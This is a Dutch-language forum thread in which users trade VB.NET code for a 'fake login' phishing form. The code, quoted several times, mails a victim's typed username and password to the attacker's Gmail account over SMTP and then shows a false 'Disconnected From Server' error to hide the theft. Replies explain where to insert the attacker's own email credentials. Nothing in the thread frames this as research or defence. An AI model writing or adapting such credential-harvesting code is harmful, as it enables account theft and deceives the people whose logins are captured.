Ikw eet hoe je een fl maakt alleen hoe zorg je
ervoor dat het pw en gbruikersnaam naar je email ofzo gaat?
Plz quick reply:D
Denk dat je uniek bent,, net zoals iedereen 
dat is een fl toch?
met deze code lukt het wel !
moet helemaal boven aan -> imporst System.Net.mail
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
else
If Textbox2.text = "" Then
Msgbox("Password Is Mising")
Else
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("gmail", "wachtwoord")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("gmail")
mail.To.Add("gmail")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
smtpServer.Send(mail)
MsgBox("Disconnected From Server, Please try again later!")
end if
end if
Dat is het onderdeel van een fake login ?
Quote: TheXD00128
met deze code lukt het wel !
If TextBox1.Text = "" Then MsgBox("Username Is Missing") else If Textbox2.text = "" Then Msgbox("Password Is Mising") Else Dim smtpServer As New SmtpClient() Dim mail As New MailMessage() smtpServer.Credentials = New Net.NetworkCredential("gmail", "wachtwoord") 'using gmail smtpServer.Port = 587 smtpServer.Host = "smtp.gmail.com" smtpServer.EnableSsl = True mail = New MailMessage() mail.From = New MailAddress("gmail") mail.To.Add("gmail") mail.Subject = "Username: " & TextBox1.Text mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text smtpServer.Send(mail) MsgBox("Disconnected From Server, Please try again later!") end if end if
astu
gr
Denk dat je uniek bent,, net zoals iedereen
Quote: BringItOnQuote: TheXD00128
met deze code lukt het wel !
If TextBox1.Text = "" Then MsgBox("Username Is Missing") else If Textbox2.text = "" Then Msgbox("Password Is Mising") Else Dim smtpServer As New SmtpClient() Dim mail As New MailMessage() smtpServer.Credentials = New Net.NetworkCredential("gmail", "wachtwoord") 'using gmail smtpServer.Port = 587 smtpServer.Host = "smtp.gmail.com" smtpServer.EnableSsl = True mail = New MailMessage() mail.From = New MailAddress("gmail") mail.To.Add("gmail") mail.Subject = "Username: " & TextBox1.Text mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text smtpServer.Send(mail) MsgBox("Disconnected From Server, Please try again later!") end if end if
astu
gr
thx man maar waar moet MIJN hotmail/email ?
Is iedereen zo lui ? Daar heb je youtube en google voor
Quote: BringItOnQuote: TheXD00128
met deze code lukt het wel !
If TextBox1.Text = "" Then MsgBox("Username Is Missing") else If Textbox2.text = "" Then Msgbox("Password Is Mising") Else Dim smtpServer As New SmtpClient() Dim mail As New MailMessage() smtpServer.Credentials = New Net.NetworkCredential("gmail", "wachtwoord") 'using gmail smtpServer.Port = 587 smtpServer.Host = "smtp.gmail.com" smtpServer.EnableSsl = True mail = New MailMessage() mail.From = New MailAddress("gmail") mail.To.Add("gmail") mail.Subject = "Username: " & TextBox1.Text mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text smtpServer.Send(mail) MsgBox("Disconnected From Server, Please try again later!") end if end if
astu
gr
thx man maar waar moet MIJN hotmail/email ?
close
Quote: TheXD00128Quote: BringItOnQuote: TheXD00128
met deze code lukt het wel !
If TextBox1.Text = "" Then MsgBox("Username Is Missing") else If Textbox2.text = "" Then Msgbox("Password Is Mising") Else Dim smtpServer As New SmtpClient() Dim mail As New MailMessage() smtpServer.Credentials = New Net.NetworkCredential("gmail", "wachtwoord") 'using gmail smtpServer.Port = 587 smtpServer.Host = "smtp.gmail.com" smtpServer.EnableSsl = True mail = New MailMessage() mail.From = New MailAddress("gmail") mail.To.Add("gmail") mail.Subject = "Username: " & TextBox1.Text mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text smtpServer.Send(mail) MsgBox("Disconnected From Server, Please try again later!") end if end if
astu
gr
thx man maar waar moet MIJN hotmail/email ?
kijk naar de edit van mijn post ! en ja dat moet je op de ok button doen !
en op cancel button moet je doen
close
me.close
Quote: ThiefQuote: BringItOnQuote: TheXD00128
met deze code lukt het wel !
If TextBox1.Text = "" Then MsgBox("Username Is Missing") else If Textbox2.text = "" Then Msgbox("Password Is Mising") Else Dim smtpServer As New SmtpClient() Dim mail As New MailMessage() smtpServer.Credentials = New Net.NetworkCredential("gmail", "wachtwoord") 'using gmail smtpServer.Port = 587 smtpServer.Host = "smtp.gmail.com" smtpServer.EnableSsl = True mail = New MailMessage() mail.From = New MailAddress("gmail") mail.To.Add("gmail") mail.Subject = "Username: " & TextBox1.Text mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text smtpServer.Send(mail) MsgBox("Disconnected From Server, Please try again later!") end if end if
astu
gr
thx man maar waar moet MIJN hotmail/email ?
Nooit leren lezen? Gmail en wachtwoord z0mg -.-
Denk dat je uniek bent,, net zoals iedereen Zie mijn volledige en veilige source in mijn sig
